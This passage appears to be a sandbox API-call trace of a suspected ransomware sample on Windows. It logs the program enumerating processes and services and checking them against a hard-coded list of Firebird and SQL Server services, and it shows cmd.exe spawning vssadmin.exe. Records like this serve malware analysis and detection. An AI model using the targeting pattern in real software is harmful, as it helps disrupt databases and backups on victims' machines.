[0244.638] lstrlenW (lpString="SamSs") returned 5 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0244.638] lstrlenW (lpString="Schedule") returned 8 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0244.638] lstrlenW (lpString="SecurityHealthService") returned 21 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0244.638] lstrlenW (lpString="SENS") returned 4 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0244.638] lstrlenW (lpString="ShellHWDetection") returned 16 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0244.638] lstrlenW (lpString="Spooler") returned 7 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0244.639] lstrlenW (lpString="StateRepository") returned 15 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0244.639] lstrlenW (lpString="SysMain") returned 7 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0244.639] lstrlenW (lpString="SystemEventsBroker") returned 18 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0244.639] lstrlenW (lpString="Themes") returned 6 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0244.639] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0244.639] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0244.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x40c [0244.642] Process32FirstW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.643] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.643] lstrlenW (lpString="System") returned 6 [0244.643] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.643] lstrlenW (lpString="smss.exe") returned 8 [0244.643] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.644] lstrlenW (lpString="csrss.exe") returned 9 [0244.644] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.644] lstrlenW (lpString="wininit.exe") returned 11 [0244.644] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.644] lstrlenW (lpString="csrss.exe") returned 9 [0244.644] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.645] lstrlenW (lpString="winlogon.exe") returned 12 [0244.645] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.645] lstrlenW (lpString="services.exe") returned 12 [0244.645] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.645] lstrlenW (lpString="lsass.exe") returned 9 [0244.645] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.646] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.646] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.646] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.646] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.646] lstrlenW (lpString="svchost.exe") returned 11 [0244.646] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.647] lstrlenW (lpString="svchost.exe") returned 11 [0244.647] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.647] lstrlenW (lpString="dwm.exe") returned 7 [0244.647] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.647] lstrlenW (lpString="svchost.exe") returned 11 [0244.647] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.648] lstrlenW (lpString="svchost.exe") returned 11 [0244.648] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.648] lstrlenW (lpString="svchost.exe") returned 11 [0244.648] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.648] lstrlenW (lpString="svchost.exe") returned 11 [0244.648] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.649] lstrlenW (lpString="svchost.exe") returned 11 [0244.649] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.649] lstrlenW (lpString="svchost.exe") returned 11 [0244.649] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.649] lstrlenW (lpString="svchost.exe") returned 11 [0244.649] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.650] lstrlenW (lpString="svchost.exe") returned 11 [0244.650] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.650] lstrlenW (lpString="svchost.exe") returned 11 [0244.650] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.650] lstrlenW (lpString="svchost.exe") returned 11 [0244.650] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.650] lstrlenW (lpString="spoolsv.exe") returned 11 [0244.651] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.651] lstrlenW (lpString="svchost.exe") returned 11 [0244.651] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.651] lstrlenW (lpString="audiodg.exe") returned 11 [0244.651] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.651] lstrlenW (lpString="svchost.exe") returned 11 [0244.652] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0244.652] lstrlenW (lpString="sihost.exe") returned 10 [0244.652] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0244.652] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0244.652] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0244.652] lstrlenW (lpString="Memory Compression") returned 18 [0244.653] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0244.653] lstrlenW (lpString="taskhostw.exe") returned 13 [0244.653] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.653] lstrlenW (lpString="explorer.exe") returned 12 [0244.653] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0244.897] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0244.897] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0244.897] lstrlenW (lpString="SearchUI.exe") returned 12 [0244.897] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0244.898] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0244.898] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0244.898] lstrlenW (lpString="winhost.exe") returned 11 [0244.898] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0244.898] lstrlenW (lpString="cmd.exe") returned 7 [0244.898] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0244.899] lstrlenW (lpString="conhost.exe") returned 11 [0244.899] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.899] lstrlenW (lpString="dllhost.exe") returned 11 [0244.899] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0244.899] lstrlenW (lpString="vssadmin.exe") returned 12 [0244.899] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.899] lstrlenW (lpString="dllhost.exe") returned 11 [0244.900] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0244.900] lstrlenW (lpString="winhost.exe") returned 11 [0244.900] Process32NextW (in: hSnapshot=0x40c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0244.900] CloseHandle (hObject=0x40c) returned 1 [0244.900] Sleep (dwMilliseconds=0x1f4) [0245.553] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb4b8 [0245.553] EnumServicesStatusExW (in: hSCManager=0x40eb4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0245.554] GetLastError () returned 0xea [0245.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x56ae50 [0245.554] EnumServicesStatusExW (in: hSCManager=0x40eb4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x56ae50, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x56ae50, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0245.554] CloseServiceHandle (hSCObject=0x40eb4b8) returned 1 [0245.555] lstrlenW (lpString="Appinfo") returned 7 [0245.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0245.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0245.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0245.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0245.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0245.555] lstrlenW (lpString="AppXSvc") returned 7 [0245.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0245.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0245.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0245.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0245.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0245.555] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0245.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0245.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0245.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0245.555] lstrlenW (lpString="Audiosrv") returned 8 [0245.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0245.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0245.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0245.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0245.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0245.555] lstrlenW (lpString="BFE") returned 3 [0245.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0245.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0245.555] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0245.555] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0245.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0245.555] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0245.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0245.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0245.555] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0245.555] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0245.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0245.555] lstrlenW (lpString="CDPSvc") returned 6 [0245.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0245.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0245.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0245.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0245.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0245.555] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0245.555] 